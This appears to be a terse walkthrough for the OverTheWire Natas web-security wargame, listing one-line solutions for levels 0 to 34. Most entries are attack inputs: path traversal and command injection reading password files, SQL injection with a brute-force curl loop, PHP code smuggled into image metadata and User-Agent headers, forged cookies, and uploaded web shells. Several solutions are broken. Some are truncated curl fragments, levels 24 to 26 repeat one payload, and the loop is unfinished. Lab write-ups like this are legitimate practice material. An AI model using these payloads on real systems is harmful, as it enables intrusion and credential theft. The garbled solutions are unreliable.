**Level 0**

No command needed.

**Level 0 --> Level 1**

No command needed.

**Level 1 --> Level 2**

No command needed.

**Level 2 --> Level 3**

**URL:**http://natas2.natas.labs.overthewire.org/files/users.txt

**Level 3 --> Level 4**

**URL:**http://natas3.natas.labs.overthewire.org/s3cr3t/users.txt

**Level 4 --> Level 5**

curl -u natas4:<password> -H "Referer: http://natas5.natas.labs.overthewire.org" http://natas4.natas.labs.overthewire.org

**Level 5 --> Level 6**

Edit cookies manually.

Set Cookie: loggedin = 1

**Level 6 --> Level 7**

**URL:**http://natas6.natas.labs.overthewire.org/includes/secret.inc

**Level 7 --> Level 8**

**URL:**http://natas7.natas.labs.overthewire.org/index.php?page=../../../../etc/natas\_webpass/natas8

**Level 8 --> Level 9**

Decode the secret manually or with a small Python script.

**Level 9 --> Level 10**

; cat /etc/natas\_webpass/natas10

**Level 10 → Level 11**

test%0acat /etc/natas\_webpass/natas11

**Level 11 --> Level 12**

Python script to decode and modify cookie.

import base64

cookie = "HmYkBwozJw4WNyAAFyB1VUcqOE1JZjUIBis7ABdmbU1GIjEJAyIxTRg="

decoded = base64.b64decode(cookie)

print(decoded)

use cyberchef online tool to encode the password.

**Level 12 --> Level 13**

<?php echo file\_get\_contents("/etc/natas\_webpass/natas13"); ?>

**Level 13 --> Level 14**

exiftool -Comment='<?php echo file\_get\_contents("/etc/natas\_webpass/natas14"); ?>' image.jpg

**Level 14 --> Level 15**

natas14" OR "1"="1" --

**Level 15 --> Level 16**

natas16" AND password LIKE BINARY "a%" --

curl -u natas15:<password> "http://natas15.natas.labs.overthewire.org/?username=natas16\" AND password LIKE BINARY \"a%\" -- "

for c in {a..z} {A..Z} {0..9}; do

curl -s -u natas15:<password> "http://natas15.natas.labs.overthewire.org/?username=natas16\" AND password LIKE BINARY \"$c%\" -- " | grep -q "exists" && echo $c

**Level 16 -->17**

**URL:**http://natas16.natas.labs.overthewire.org/?needle=$(cat /etc/natas\_webpass/natas17)&submit=Search"

**Level 17 -->18**

**URL:**"http://natas17.natas.labs.overthewire.org/?username=natas18\"

**Level 18 -->19**

**URL:**"http://natas18.natas.labs.overthewire.org" -H **Cookie:** PHPSESSID=$session | grep -q "Password”

**Level 19 -->20**

**URL:**"http://natas19.natas.labs.overthewire.org" -H **Cookie:** PHPSESSID=$session | grep -q "Password"

**Level 20 -->21**

**URL:**"http://natas20.natas.labs.overthewire.org/?debug=1" -H

**Cookie:** PHPSESSID=123 --data "name=admin\nadmin 1"

**Level 21 -->22**

**URL:**"http://natas21.natas.labs.overthewire.org?debug=1" -H

**Cookie:** loggedin=1

**Level 22 -->23**

**URL:**"http://natas22.natas.labs.overthewire.org/?revelio=1" -v

**Level 23 -->24**

**URL:**"http://natas23.natas.labs.overthewire.org/?passwd=11iloveyou" --data "submit=1"

**Level 24 -->25**

**URL:**"http://natas24.natas.labs.overthewire.org/" -H "User-Agent: <?php system('cat /etc/natas\_webpass/natas25'); ?>"

**Level 25 -->26**

**URL:**"http://natas25.natas.labs.overthewire.org/" -H "User-Agent: <?php system('cat /etc/natas\_webpass/natas26'); ?>"

**Level 26 -->27**

**URL:**"http://natas26.natas.labs.overthewire.org/" -H "User-Agent: <?php system('cat /etc/natas\_webpass/natas27'); ?>"

**Level 27 -->28**

**URL:**"http://natas27.natas.labs.overthewire.org/" --data "username=natas28\"#&password=any"

**Level 28 -->29**

**URL:**"http://natas28.natas.labs.overthewire.org/?username=natas29\"

**Level 29-->30**

**URL:**"http://natas29.natas.labs.overthewire.org/" --data "input=;cat /etc/natas\_webpass/natas30"

**Level 30-->31**

**URL:**"http://natas30.natas.labs.overthewire.org/" --data "username=natas31&password[]=x"

**Level 31-->32**

**URL:**"http://natas31.natas.labs.overthewire.org/" -F "file=@shell.php"

curl "http://natas31.natas.labs.overthewire.org/uploads/shell.php?cmd=cat+/etc/natas\_webpass/natas32"

**Level 32 -->33**

**URL:**"http://natas32.natas.labs.overthewire.org/" --data "input='\$(cat /etc/natas\_webpass/natas33)'"

**Level 33-->34**

**URL:**"http://natas33.natas.labs.overthewire.org/" -F "file=@shell.jpg"

curl "http://natas33.natas.labs.overthewire.org/uploads/shell.php.jpg?cmd=cat+/etc/natas\_webpass/natas34"